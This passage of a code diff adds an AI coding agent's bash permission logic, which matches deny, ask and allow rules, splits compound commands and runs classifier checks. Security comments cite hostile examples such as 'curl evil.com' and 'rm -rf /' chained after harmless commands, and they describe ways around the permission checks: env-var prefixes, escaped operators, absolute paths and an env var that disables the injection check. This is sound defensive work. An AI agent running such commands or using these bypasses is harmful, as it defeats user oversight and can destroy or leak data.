+  // must be harder to circumvent — a denied command should stay denied
+  // regardless of env var prefixes.
+  //
+  // We iteratively apply both stripping operations to all candidates until no
+  // new candidates are produced (fixed-point). This handles interleaved patterns
+  // like `nohup FOO=bar timeout 5 claude` where:
+  //   1. stripSafeWrappers strips `nohup` → `FOO=bar timeout 5 claude`
+  //   2. stripAllLeadingEnvVars strips `FOO=bar` → `timeout 5 claude`
+  //   3. stripSafeWrappers strips `timeout 5` → `claude` (deny match)
+  //
+  // Without iteration, single-pass compositions miss multi-layer interleaving.
+  if (stripAllEnvVars) {
+    const seen = new Set(commandsToTry)
+    let startIdx = 0
+
+    // Iterate until no new candidates are produced (fixed-point)
+    while (startIdx < commandsToTry.length) {
+      const endIdx = commandsToTry.length
+      for (let i = startIdx; i < endIdx; i++) {
+        const cmd = commandsToTry[i]
+        if (!cmd) {
+          continue
+        }
+        // Try stripping env vars
+        const envStripped = stripAllLeadingEnvVars(cmd)
+        if (!seen.has(envStripped)) {
+          commandsToTry.push(envStripped)
+          seen.add(envStripped)
+        }
+        // Try stripping safe wrappers
+        const wrapperStripped = stripSafeWrappers(cmd)
+        if (!seen.has(wrapperStripped)) {
+          commandsToTry.push(wrapperStripped)
+          seen.add(wrapperStripped)
+        }
+      }
+      startIdx = endIdx
+    }
+  }
+
+  // Precompute compound-command status for each candidate to avoid re-parsing
+  // inside the rule filter loop (which would scale splitCommand calls with
+  // rules.length × commandsToTry.length). The compound check only applies to
+  // prefix/wildcard matching in 'prefix' mode, and only for allow rules.
+  // SECURITY: deny/ask rules must match compound commands so they can't be
+  // bypassed by wrapping a denied command in a compound expression.
+  const isCompoundCommand = new Map<string, boolean>()
+  if (matchMode === 'prefix' && !skipCompoundCheck) {
+    for (const cmd of commandsToTry) {
+      if (!isCompoundCommand.has(cmd)) {
+        isCompoundCommand.set(cmd, splitCommand(cmd).length > 1)
+      }
+    }
+  }
+
+  return Array.from(rules.entries())
+    .filter(([ruleContent]) => {
+      const bashRule = bashPermissionRule(ruleContent)
+
+      return commandsToTry.some(cmdToMatch => {
+        switch (bashRule.type) {
+          case 'exact':
+            return bashRule.command === cmdToMatch
+          case 'prefix':
+            switch (matchMode) {
+              // In 'exact' mode, only return true if the command exactly matches the prefix rule
+              case 'exact':
+                return bashRule.prefix === cmdToMatch
+              case 'prefix': {
+                // SECURITY: Don't allow prefix rules to match compound commands.
+                // e.g., Bash(cd:*) must NOT match "cd /path && python3 evil.py".
+                // In the normal flow commands are split before reaching here, but
+                // shell escaping can defeat the first splitCommand pass — e.g.,
+                //   cd src\&\& python3 hello.py  →  splitCommand  →  ["cd src&& python3 hello.py"]
+                // which then looks like a single command that starts with "cd ".
+                // Re-splitting the candidate here catches those cases.
+                if (isCompoundCommand.get(cmdToMatch)) {
+                  return false
+                }
+                // Ensure word boundary: prefix must be followed by space or end of string
+                // This prevents "ls:*" from matching "lsof" or "lsattr"
+                if (cmdToMatch === bashRule.prefix) {
+                  return true
+                }
+                if (cmdToMatch.startsWith(bashRule.prefix + ' ')) {
+                  return true
+                }
+                // Also match "xargs <prefix>" for bare xargs with no flags.
+                // This allows Bash(grep:*) to match "xargs grep pattern",
+                // and deny rules like Bash(rm:*) to block "xargs rm file".
+                // Natural word-boundary: "xargs -n1 grep" does NOT start with
+                // "xargs grep " so flagged xargs invocations are not matched.
+                const xargsPrefix = 'xargs ' + bashRule.prefix
+                if (cmdToMatch === xargsPrefix) {
+                  return true
+                }
+                return cmdToMatch.startsWith(xargsPrefix + ' ')
+              }
+            }
+            break
+          case 'wildcard':
+            // SECURITY FIX: In exact match mode, wildcards must NOT match because we're
+            // checking the full unparsed command. Wildcard matching on unparsed commands
+            // allows "foo *" to match "foo arg && curl evil.com" since .* matches operators.
+            // Wildcards should only match after splitting into individual subcommands.
+            if (matchMode === 'exact') {
+              return false
+            }
+            // SECURITY: Same as for prefix rules, don't allow wildcard rules to match
+            // compound commands in prefix mode. e.g., Bash(cd *) must not match
+            // "cd /path && python3 evil.py" even though "cd *" pattern would match it.
+            if (isCompoundCommand.get(cmdToMatch)) {
+              return false
+            }
+            // In prefix mode (after splitting), wildcards can safely match subcommands
+            return matchWildcardPattern(bashRule.pattern, cmdToMatch)
+        }
+      })
+    })
+    .map(([, rule]) => rule)
+}
+
+function matchingRulesForInput(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+  matchMode: 'exact' | 'prefix',
+  { skipCompoundCheck = false }: { skipCompoundCheck?: boolean } = {},
+) {
+  const denyRuleByContents = getRuleByContentsForTool(
+    toolPermissionContext,
+    BashTool,
+    'deny',
+  )
+  // SECURITY: Deny/ask rules use aggressive env var stripping so that
+  // `FOO=bar denied_command` still matches a deny rule for `denied_command`.
+  const matchingDenyRules = filterRulesByContentsMatchingInput(
+    input,
+    denyRuleByContents,
+    matchMode,
+    { stripAllEnvVars: true, skipCompoundCheck: true },
+  )
+
+  const askRuleByContents = getRuleByContentsForTool(
+    toolPermissionContext,
+    BashTool,
+    'ask',
+  )
+  const matchingAskRules = filterRulesByContentsMatchingInput(
+    input,
+    askRuleByContents,
+    matchMode,
+    { stripAllEnvVars: true, skipCompoundCheck: true },
+  )
+
+  const allowRuleByContents = getRuleByContentsForTool(
+    toolPermissionContext,
+    BashTool,
+    'allow',
+  )
+  const matchingAllowRules = filterRulesByContentsMatchingInput(
+    input,
+    allowRuleByContents,
+    matchMode,
+    { skipCompoundCheck },
+  )
+
+  return {
+    matchingDenyRules,
+    matchingAskRules,
+    matchingAllowRules,
+  }
+}
+
+/**
+ * Checks if the subcommand is an exact match for a permission rule
+ */
+export const bashToolCheckExactMatchPermission = (
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult => {
+  const command = input.command.trim()
+  const { matchingDenyRules, matchingAskRules, matchingAllowRules } =
+    matchingRulesForInput(input, toolPermissionContext, 'exact')
+
+  // 1. Deny if exact command was denied
+  if (matchingDenyRules[0] !== undefined) {
+    return {
+      behavior: 'deny',
+      message: `Permission to use ${BashTool.name} with command ${command} has been denied.`,
+      decisionReason: {
+        type: 'rule',
+        rule: matchingDenyRules[0],
+      },
+    }
+  }
+
+  // 2. Ask if exact command was in ask rules
+  if (matchingAskRules[0] !== undefined) {
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name),
+      decisionReason: {
+        type: 'rule',
+        rule: matchingAskRules[0],
+      },
+    }
+  }
+
+  // 3. Allow if exact command was allowed
+  if (matchingAllowRules[0] !== undefined) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'rule',
+        rule: matchingAllowRules[0],
+      },
+    }
+  }
+
+  // 4. Otherwise, passthrough
+  const decisionReason = {
+    type: 'other' as const,
+    reason: 'This command requires approval',
+  }
+  return {
+    behavior: 'passthrough',
+    message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    decisionReason,
+    // Suggest exact match rule to user
+    // this may be overridden by prefix suggestions in `checkCommandAndSuggestRules()`
+    suggestions: suggestionForExactCommand(command),
+  }
+}
+
+export const bashToolCheckPermission = (
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+  astCommand?: SimpleCommand,
+): PermissionResult => {
+  const command = input.command.trim()
+
+  // 1. Check exact match first
+  const exactMatchResult = bashToolCheckExactMatchPermission(
+    input,
+    toolPermissionContext,
+  )
+
+  // 1a. Deny/ask if exact command has a rule
+  if (
+    exactMatchResult.behavior === 'deny' ||
+    exactMatchResult.behavior === 'ask'
+  ) {
+    return exactMatchResult
+  }
+
+  // 2. Find all matching rules (prefix or exact)
+  // SECURITY FIX: Check Bash deny/ask rules BEFORE path constraints to prevent bypass
+  // via absolute paths outside the project directory (HackerOne report)
+  // When AST-parsed, the subcommand is already atomic — skip the legacy
+  // splitCommand re-check that misparses mid-word # as compound.
+  const { matchingDenyRules, matchingAskRules, matchingAllowRules } =
+    matchingRulesForInput(input, toolPermissionContext, 'prefix', {
+      skipCompoundCheck: astCommand !== undefined,
+    })
+
+  // 2a. Deny if command has a deny rule
+  if (matchingDenyRules[0] !== undefined) {
+    return {
+      behavior: 'deny',
+      message: `Permission to use ${BashTool.name} with command ${command} has been denied.`,
+      decisionReason: {
+        type: 'rule',
+        rule: matchingDenyRules[0],
+      },
+    }
+  }
+
+  // 2b. Ask if command has an ask rule
+  if (matchingAskRules[0] !== undefined) {
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name),
+      decisionReason: {
+        type: 'rule',
+        rule: matchingAskRules[0],
+      },
+    }
+  }
+
+  // 3. Check path constraints
+  // This check comes after deny/ask rules so explicit rules take precedence.
+  // SECURITY: When AST-derived argv is available for this subcommand, pass
+  // it through so checkPathConstraints uses it directly instead of re-parsing
+  // with shell-quote (which has a single-quote backslash bug that causes
+  // parseCommandArguments to return [] and silently skip path validation).
+  const pathResult = checkPathConstraints(
+    input,
+    getCwd(),
+    toolPermissionContext,
+    compoundCommandHasCd,
+    astCommand?.redirects,
+    astCommand ? [astCommand] : undefined,
+  )
+  if (pathResult.behavior !== 'passthrough') {
+    return pathResult
+  }
+
+  // 4. Allow if command had an exact match allow
+  if (exactMatchResult.behavior === 'allow') {
+    return exactMatchResult
+  }
+
+  // 5. Allow if command has an allow rule
+  if (matchingAllowRules[0] !== undefined) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'rule',
+        rule: matchingAllowRules[0],
+      },
+    }
+  }
+
+  // 5b. Check sed constraints (blocks dangerous sed operations before mode auto-allow)
+  const sedConstraintResult = checkSedConstraints(input, toolPermissionContext)
+  if (sedConstraintResult.behavior !== 'passthrough') {
+    return sedConstraintResult
+  }
+
+  // 6. Check for mode-specific permission handling
+  const modeResult = checkPermissionMode(input, toolPermissionContext)
+  if (modeResult.behavior !== 'passthrough') {
+    return modeResult
+  }
+
+  // 7. Check read-only rules
+  if (BashTool.isReadOnly(input)) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'other',
+        reason: 'Read-only command is allowed',
+      },
+    }
+  }
+
+  // 8. Passthrough since no rules match, will trigger permission prompt
+  const decisionReason = {
+    type: 'other' as const,
+    reason: 'This command requires approval',
+  }
+  return {
+    behavior: 'passthrough',
+    message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    decisionReason,
+    // Suggest exact match rule to user
+    // this may be overridden by prefix suggestions in `checkCommandAndSuggestRules()`
+    suggestions: suggestionForExactCommand(command),
+  }
+}
+
+/**
+ * Processes an individual subcommand and applies prefix checks & suggestions
+ */
+export async function checkCommandAndSuggestRules(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+  commandPrefixResult: CommandPrefixResult | null | undefined,
+  compoundCommandHasCd?: boolean,
+  astParseSucceeded?: boolean,
+): Promise<PermissionResult> {
+  // 1. Check exact match first
+  const exactMatchResult = bashToolCheckExactMatchPermission(
+    input,
+    toolPermissionContext,
+  )
+  if (exactMatchResult.behavior !== 'passthrough') {
+    return exactMatchResult
+  }
+
+  // 2. Check the command prefix
+  const permissionResult = bashToolCheckPermission(
+    input,
+    toolPermissionContext,
+    compoundCommandHasCd,
+  )
+  // 2a. Deny/ask if command was explictly denied/asked
+  if (
+    permissionResult.behavior === 'deny' ||
+    permissionResult.behavior === 'ask'
+  ) {
+    return permissionResult
+  }
+
+  // 3. Ask for permission if command injection is detected. Skip when the
+  // AST parse already succeeded — tree-sitter has verified there are no
+  // hidden substitutions or structural tricks, so the legacy regex-based
+  // validators (backslash-escaped operators, etc.) would only add FPs.
+  if (
+    !astParseSucceeded &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK)
+  ) {
+    const safetyResult = await bashCommandIsSafeAsync(input.command)
+
+    if (safetyResult.behavior !== 'passthrough') {
+      const decisionReason: PermissionDecisionReason = {
+        type: 'other' as const,
+        reason:
+          safetyResult.behavior === 'ask' && safetyResult.message
+            ? safetyResult.message
+            : 'This command contains patterns that could pose security risks and requires approval',
+      }
+
+      return {
+        behavior: 'ask',
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+        decisionReason,
+        suggestions: [], // Don't suggest saving a potentially dangerous command
+      }
+    }
+  }
+
+  // 4. Allow if command was allowed
+  if (permissionResult.behavior === 'allow') {
+    return permissionResult
+  }
+
+  // 5. Suggest prefix if available, otherwise exact command
+  const suggestedUpdates = commandPrefixResult?.commandPrefix
+    ? suggestionForPrefix(commandPrefixResult.commandPrefix)
+    : suggestionForExactCommand(input.command)
+
+  return {
+    ...permissionResult,
+    suggestions: suggestedUpdates,
+  }
+}
+
+/**
+ * Checks if a command should be auto-allowed when sandboxed.
+ * Returns early if there are explicit deny/ask rules that should be respected.
+ *
+ * NOTE: This function should only be called when sandboxing and auto-allow are enabled.
+ *
+ * @param input - The bash tool input
+ * @param toolPermissionContext - The permission context
+ * @returns PermissionResult with:
+ *   - deny/ask if explicit rule exists (exact or prefix)
+ *   - allow if no explicit rules (sandbox auto-allow applies)
+ *   - passthrough should not occur since we're in auto-allow mode
+ */
+function checkSandboxAutoAllow(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  const command = input.command.trim()
+
+  // Check for explicit deny/ask rules on the full command (exact + prefix)
+  const { matchingDenyRules, matchingAskRules } = matchingRulesForInput(
+    input,
+    toolPermissionContext,
+    'prefix',
+  )
+
+  // Return immediately if there's an explicit deny rule on the full command
+  if (matchingDenyRules[0] !== undefined) {
+    return {
+      behavior: 'deny',
+      message: `Permission to use ${BashTool.name} with command ${command} has been denied.`,
+      decisionReason: {
+        type: 'rule',
+        rule: matchingDenyRules[0],
+      },
+    }
+  }
+
+  // SECURITY: For compound commands, check each subcommand against deny/ask
+  // rules. Prefix rules like Bash(rm:*) won't match the full compound command
+  // (e.g., "echo hello && rm -rf /" doesn't start with "rm"), so we must
+  // check each subcommand individually.
+  // IMPORTANT: Subcommand deny checks must run BEFORE full-command ask returns.
+  // Otherwise a wildcard ask rule matching the full command (e.g., Bash(*echo*))
+  // would return 'ask' before a prefix deny rule on a subcommand (e.g., Bash(rm:*))
+  // gets checked, downgrading a deny to an ask.
+  const subcommands = splitCommand(command)
+  if (subcommands.length > 1) {
+    let firstAskRule: PermissionRule | undefined
+    for (const sub of subcommands) {
+      const subResult = matchingRulesForInput(
+        { command: sub },
+        toolPermissionContext,
+        'prefix',
+      )
+      // Deny takes priority — return immediately
+      if (subResult.matchingDenyRules[0] !== undefined) {
+        return {
+          behavior: 'deny',
+          message: `Permission to use ${BashTool.name} with command ${command} has been denied.`,
+          decisionReason: {
+            type: 'rule',
+            rule: subResult.matchingDenyRules[0],
+          },
+        }
+      }
+      // Stash first ask match; don't return yet (deny across all subs takes priority)
+      firstAskRule ??= subResult.matchingAskRules[0]
+    }
+    if (firstAskRule) {
+      return {
+        behavior: 'ask',
+        message: createPermissionRequestMessage(BashTool.name),
+        decisionReason: {
+          type: 'rule',
+          rule: firstAskRule,
+        },
+      }
+    }
+  }
+
+  // Full-command ask check (after all deny sources have been exhausted)
+  if (matchingAskRules[0] !== undefined) {
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name),
+      decisionReason: {
+        type: 'rule',
+        rule: matchingAskRules[0],
+      },
+    }
+  }
+  // No explicit rules, so auto-allow with sandbox
+
+  return {
+    behavior: 'allow',
+    updatedInput: input,
+    decisionReason: {
+      type: 'other',
+      reason: 'Auto-allowed with sandbox (autoAllowBashIfSandboxed enabled)',
+    },
+  }
+}
+
+/**
+ * Filter out `cd ${cwd}` prefix subcommands, keeping astCommands aligned.
+ * Extracted to keep bashToolHasPermission under Bun's feature() DCE
+ * complexity threshold — inlining this breaks pendingClassifierCheck
+ * attachment in ~10 classifier tests.
+ */
+function filterCdCwdSubcommands(
+  rawSubcommands: string[],
+  astCommands: SimpleCommand[] | undefined,
+  cwd: string,
+  cwdMingw: string,
+): { subcommands: string[]; astCommandsByIdx: (SimpleCommand | undefined)[] } {
+  const subcommands: string[] = []
+  const astCommandsByIdx: (SimpleCommand | undefined)[] = []
+  for (let i = 0; i < rawSubcommands.length; i++) {
+    const cmd = rawSubcommands[i]!
+    if (cmd === `cd ${cwd}` || cmd === `cd ${cwdMingw}`) continue
+    subcommands.push(cmd)
+    astCommandsByIdx.push(astCommands?.[i])
+  }
+  return { subcommands, astCommandsByIdx }
+}
+
+/**
+ * Early-exit deny enforcement for the AST too-complex and checkSemantics
+ * paths. Returns the exact-match result if non-passthrough (deny/ask/allow),
+ * then checks prefix/wildcard deny rules. Returns null if neither matched,
+ * meaning the caller should fall through to ask. Extracted to keep
+ * bashToolHasPermission under Bun's feature() DCE complexity threshold.
+ */
+function checkEarlyExitDeny(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult | null {
+  const exactMatchResult = bashToolCheckExactMatchPermission(
+    input,
+    toolPermissionContext,
+  )
+  if (exactMatchResult.behavior !== 'passthrough') {
+    return exactMatchResult
+  }
+  const denyMatch = matchingRulesForInput(
+    input,
+    toolPermissionContext,
+    'prefix',
+  ).matchingDenyRules[0]
+  if (denyMatch !== undefined) {
+    return {
+      behavior: 'deny',
+      message: `Permission to use ${BashTool.name} with command ${input.command} has been denied.`,
+      decisionReason: { type: 'rule', rule: denyMatch },
+    }
+  }
+  return null
+}
+
+/**
+ * checkSemantics-path deny enforcement. Calls checkEarlyExitDeny (exact-match
+ * + full-command prefix deny), then checks each individual SimpleCommand .text
+ * span against prefix deny rules. The per-subcommand check is needed because
+ * filterRulesByContentsMatchingInput has a compound-command guard
+ * (splitCommand().length > 1 → prefix rules return false) that defeats
+ * `Bash(eval:*)` matching against a full pipeline like `echo foo | eval rm`.
+ * Each SimpleCommand span is a single command, so the guard doesn't fire.
+ *
+ * Separate helper (not folded into checkEarlyExitDeny or inlined at the call
+ * site) because bashToolHasPermission is tight against Bun's feature() DCE
+ * complexity threshold — adding even ~5 lines there breaks
+ * feature('BASH_CLASSIFIER') evaluation and drops pendingClassifierCheck.
+ */
+function checkSemanticsDeny(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+  commands: readonly { text: string }[],
+): PermissionResult | null {
+  const fullCmd = checkEarlyExitDeny(input, toolPermissionContext)
+  if (fullCmd !== null) return fullCmd
+  for (const cmd of commands) {
+    const subDeny = matchingRulesForInput(
+      { ...input, command: cmd.text },
+      toolPermissionContext,
+      'prefix',
+    ).matchingDenyRules[0]
+    if (subDeny !== undefined) {
+      return {
+        behavior: 'deny',
+        message: `Permission to use ${BashTool.name} with command ${input.command} has been denied.`,
+        decisionReason: { type: 'rule', rule: subDeny },
+      }
+    }
+  }
+  return null
+}
+
+/**
+ * Builds the pending classifier check metadata if classifier is enabled and has allow descriptions.
+ * Returns undefined if classifier is disabled, in auto mode, or no allow descriptions exist.
+ */
+function buildPendingClassifierCheck(
+  command: string,
+  toolPermissionContext: ToolPermissionContext,
+): { command: string; cwd: string; descriptions: string[] } | undefined {
+  if (!isClassifierPermissionsEnabled()) {
+    return undefined
+  }
+  // Skip in auto mode - auto mode classifier handles all permission decisions
+  if (feature('TRANSCRIPT_CLASSIFIER') && toolPermissionContext.mode === 'auto')
+    return undefined
+  if (toolPermissionContext.mode === 'bypassPermissions') return undefined
+
+  const allowDescriptions = getBashPromptAllowDescriptions(
+    toolPermissionContext,
+  )
+  if (allowDescriptions.length === 0) return undefined
+
+  return {
+    command,
+    cwd: getCwd(),
+    descriptions: allowDescriptions,
+  }
+}
+
+const speculativeChecks = new Map<string, Promise<ClassifierResult>>()
+
+/**
+ * Start a speculative bash allow classifier check early, so it runs in
+ * parallel with pre-tool hooks, deny/ask classifiers, and permission dialog setup.
+ * The result can be consumed later by executeAsyncClassifierCheck via
+ * consumeSpeculativeClassifierCheck.
+ */
+export function peekSpeculativeClassifierCheck(
+  command: string,
+): Promise<ClassifierResult> | undefined {
+  return speculativeChecks.get(command)
+}
+
+export function startSpeculativeClassifierCheck(
+  command: string,
+  toolPermissionContext: ToolPermissionContext,
+  signal: AbortSignal,
+  isNonInteractiveSession: boolean,
+): boolean {
+  // Same guards as buildPendingClassifierCheck
+  if (!isClassifierPermissionsEnabled()) return false
+  if (feature('TRANSCRIPT_CLASSIFIER') && toolPermissionContext.mode === 'auto')
+    return false
+  if (toolPermissionContext.mode === 'bypassPermissions') return false
+  const allowDescriptions = getBashPromptAllowDescriptions(
+    toolPermissionContext,
+  )
+  if (allowDescriptions.length === 0) return false
+
+  const cwd = getCwd()
+  const promise = classifyBashCommand(
+    command,
+    cwd,
+    allowDescriptions,
+    'allow',
+    signal,
+    isNonInteractiveSession,
+  )
+  // Prevent unhandled rejection if the signal aborts before this promise is consumed.
+  // The original promise (which may reject) is still stored in the Map for consumers to await.
+  promise.catch(() => {})
+  speculativeChecks.set(command, promise)
+  return true
+}
+
+/**
+ * Consume a speculative classifier check result for the given command.
+ * Returns the promise if one exists (and removes it from the map), or undefined.
+ */
+export function consumeSpeculativeClassifierCheck(
+  command: string,
+): Promise<ClassifierResult> | undefined {
+  const promise = speculativeChecks.get(command)
+  if (promise) {
+    speculativeChecks.delete(command)
+  }
+  return promise
+}
+
+export function clearSpeculativeChecks(): void {
+  speculativeChecks.clear()
+}
+
+/**
+ * Await a pending classifier check and return a PermissionDecisionReason if
+ * high-confidence allow, or undefined otherwise.
+ *
+ * Used by swarm agents (both tmux and in-process) to gate permission
+ * forwarding: run the classifier first, and only escalate to the leader
+ * if the classifier doesn't auto-approve.
+ */
+export async function awaitClassifierAutoApproval(
+  pendingCheck: PendingClassifierCheck,
+  signal: AbortSignal,
+  isNonInteractiveSession: boolean,
+): Promise<PermissionDecisionReason | undefined> {
+  const { command, cwd, descriptions } = pendingCheck
+  const speculativeResult = consumeSpeculativeClassifierCheck(command)
+  const classifierResult = speculativeResult
+    ? await speculativeResult
+    : await classifyBashCommand(
+        command,
+        cwd,
+        descriptions,
+        'allow',
+        signal,
+        isNonInteractiveSession,
+      )
+
+  logClassifierResultForAnts(command, 'allow', descriptions, classifierResult)
+
+  if (
+    feature('BASH_CLASSIFIER') &&
+    classifierResult.matches &&
+    classifierResult.confidence === 'high'
+  ) {
+    return {
+      type: 'classifier',
+      classifier: 'bash_allow',
+      reason: `Allowed by prompt rule: "${classifierResult.matchedDescription}"`,
+    }
+  }
+  return undefined
+}
+
+type AsyncClassifierCheckCallbacks = {
+  shouldContinue: () => boolean
+  onAllow: (decisionReason: PermissionDecisionReason) => void
+  onComplete?: () => void
+}
+
+/**
+ * Execute the bash allow classifier check asynchronously.
+ * This runs in the background while the permission prompt is shown.
+ * If the classifier allows with high confidence and the user hasn't interacted, auto-approves.
+ *
+ * @param pendingCheck - Classifier check metadata from bashToolHasPermission
+ * @param signal - Abort signal
+ * @param isNonInteractiveSession - Whether this is a non-interactive session
+ * @param callbacks - Callbacks to check if we should continue and handle approval
+ */
+export async function executeAsyncClassifierCheck(
+  pendingCheck: { command: string; cwd: string; descriptions: string[] },
+  signal: AbortSignal,
+  isNonInteractiveSession: boolean,
+  callbacks: AsyncClassifierCheckCallbacks,
+): Promise<void> {
+  const { command, cwd, descriptions } = pendingCheck
+  const speculativeResult = consumeSpeculativeClassifierCheck(command)
+
+  let classifierResult: ClassifierResult
+  try {
+    classifierResult = speculativeResult
+      ? await speculativeResult
+      : await classifyBashCommand(
+          command,
+          cwd,
+          descriptions,
+          'allow',
+          signal,
+          isNonInteractiveSession,
+        )
+  } catch (error: unknown) {
+    // When the coordinator session is cancelled, the abort signal fires and the
+    // classifier API call rejects with APIUserAbortError. This is expected and
+    // should not surface as an unhandled promise rejection.
+    if (error instanceof APIUserAbortError || error instanceof AbortError) {
+      callbacks.onComplete?.()
+      return
+    }
+    callbacks.onComplete?.()
+    throw error
+  }
+
+  logClassifierResultForAnts(command, 'allow', descriptions, classifierResult)
+
+  // Don't auto-approve if user already made a decision or has interacted
+  // with the permission dialog (e.g., arrow keys, tab, typing)
+  if (!callbacks.shouldContinue()) return
+
+  if (
+    feature('BASH_CLASSIFIER') &&
+    classifierResult.matches &&
+    classifierResult.confidence === 'high'
+  ) {
+    callbacks.onAllow({
+      type: 'classifier',
+      classifier: 'bash_allow',
+      reason: `Allowed by prompt rule: "${classifierResult.matchedDescription}"`,
+    })
+  } else {
+    // No match — notify so the checking indicator is cleared
+    callbacks.onComplete?.()
+  }
+}
+
+/**
+ * The main implementation to check if we need to ask for user permission to call BashTool with a given input
+ */
+export async function bashToolHasPermission(
+  input: z.infer<typeof BashTool.inputSchema>,
+  context: ToolUseContext,
+  getCommandSubcommandPrefixFn = getCommandSubcommandPrefix,
+): Promise<PermissionResult> {
+  let appState = context.getAppState()
+
+  // 0. AST-based security parse. This replaces both tryParseShellCommand
+  // (the shell-quote pre-check) and the bashCommandIsSafe misparsing gate.
+  // tree-sitter produces either a clean SimpleCommand[] (quotes resolved,
+  // no hidden substitutions) or 'too-complex' — which is exactly the signal
+  // we need to decide whether splitCommand's output can be trusted.
+  //
+  // When tree-sitter WASM is unavailable OR the injection check is disabled
+  // via env var, we fall back to the old path (legacy gate at ~1370 runs).
+  const injectionCheckDisabled = isEnvTruthy(
+    process.env.CLAUDE_CODE_DISABLE_COMMAND_INJECTION_CHECK,
+  )
+  // GrowthBook killswitch for shadow mode — when off, skip the native parse
+  // entirely. Computed once; feature() must stay inline in the ternary below.
+  const shadowEnabled = feature('TREE_SITTER_BASH_SHADOW')
+    ? getFeatureValue_CACHED_MAY_BE_STALE('tengu_birch_trellis', true)
+    : false
+  // Parse once here; the resulting AST feeds both parseForSecurityFromAst
+  // and bashToolCheckCommandOperatorPermissions.
+  let astRoot = injectionCheckDisabled
+    ? null
+    : feature('TREE_SITTER_BASH_SHADOW') && !shadowEnabled
+      ? null
+      : await parseCommandRaw(input.command)
+  let astResult: ParseForSecurityResult = astRoot
+    ? parseForSecurityFromAst(input.command, astRoot)
+    : { kind: 'parse-unavailable' }
+  let astSubcommands: string[] | null = null
+  let astRedirects: Redirect[] | undefined
+  let astCommands: SimpleCommand[] | undefined
+  let shadowLegacySubs: string[] | undefined
+
+  // Shadow-test tree-sitter: record its verdict, then force parse-unavailable
+  // so the legacy path stays authoritative. parseCommand stays gated on
+  // TREE_SITTER_BASH (not SHADOW) so legacy internals remain pure regex.
+  // One event per bash call captures both divergence AND unavailability
+  // reasons; module-load failures are separately covered by the
+  // session-scoped tengu_tree_sitter_load event.
+  if (feature('TREE_SITTER_BASH_SHADOW')) {
+    const available = astResult.kind !== 'parse-unavailable'
+    let tooComplex = false
+    let semanticFail = false
+    let subsDiffer = false
+    if (available) {
+      tooComplex = astResult.kind === 'too-complex'
+      semanticFail =
+        astResult.kind === 'simple' && !checkSemantics(astResult.commands).ok
+      const tsSubs =
+        astResult.kind === 'simple'
+          ? astResult.commands.map(c => c.text)
+          : undefined
+      const legacySubs = splitCommand(input.command)
+      shadowLegacySubs = legacySubs
+      subsDiffer =
+        tsSubs !== undefined &&
+        (tsSubs.length !== legacySubs.length ||
+          tsSubs.some((s, i) => s !== legacySubs[i]))
+    }
+    logEvent('tengu_tree_sitter_shadow', {
+      available,
+      astTooComplex: tooComplex,
+      astSemanticFail: semanticFail,
+      subsDiffer,
+      injectionCheckDisabled,
+      killswitchOff: !shadowEnabled,
+      cmdOverLength: input.command.length > 10000,
+    })
+    // Always force legacy — shadow mode is observational only.
+    astResult = { kind: 'parse-unavailable' }
+    astRoot = null
+  }
+
+  if (astResult.kind === 'too-complex') {
+    // Parse succeeded but found structure we can't statically analyze
+    // (command substitution, expansion, control flow, parser differential).
+    // Respect exact-match deny/ask/allow, then prefix/wildcard deny. Only
+    // fall through to ask if no deny matched — don't downgrade deny to ask.
+    const earlyExit = checkEarlyExitDeny(input, appState.toolPermissionContext)
+    if (earlyExit !== null) return earlyExit
+    const decisionReason: PermissionDecisionReason = {
+      type: 'other' as const,
+      reason: astResult.reason,
+    }
+    logEvent('tengu_bash_ast_too_complex', {
+      nodeTypeId: nodeTypeId(astResult.nodeType),
+    })
+    return {
+      behavior: 'ask',
+      decisionReason,
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      suggestions: [],
+      ...(feature('BASH_CLASSIFIER')
+        ? {
+            pendingClassifierCheck: buildPendingClassifierCheck(
+              input.command,
+              appState.toolPermissionContext,
+            ),
+          }
+        : {}),
+    }
+  }
+
+  if (astResult.kind === 'simple') {
+    // Clean parse: check semantic-level concerns (zsh builtins, eval, etc.)
+    // that tokenize fine but are dangerous by name.
+    const sem = checkSemantics(astResult.commands)
+    if (!sem.ok) {
+      // Same deny-rule enforcement as the too-complex path: a user with
+      // `Bash(eval:*)` deny expects `eval "rm"` blocked, not downgraded.
+      const earlyExit = checkSemanticsDeny(
+        input,
+        appState.toolPermissionContext,
+        astResult.commands,
+      )
+      if (earlyExit !== null) return earlyExit
+      const decisionReason: PermissionDecisionReason = {
+        type: 'other' as const,
+        reason: sem.reason,
+      }
+      return {
+        behavior: 'ask',
+        decisionReason,
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+        suggestions: [],
+      }
+    }
+    // Stash the tokenized subcommands for use below. Downstream code (rule
+    // matching, path extraction, cd detection) still operates on strings, so
+    // we pass the original source span for each SimpleCommand. Downstream
+    // processing (stripSafeWrappers, parseCommandArguments) re-tokenizes
+    // these spans — that re-tokenization has known bugs (stripCommentLines
+    // mishandles newlines inside quotes), but checkSemantics already caught
+    // any argv element containing a newline, so those bugs can't bite here.
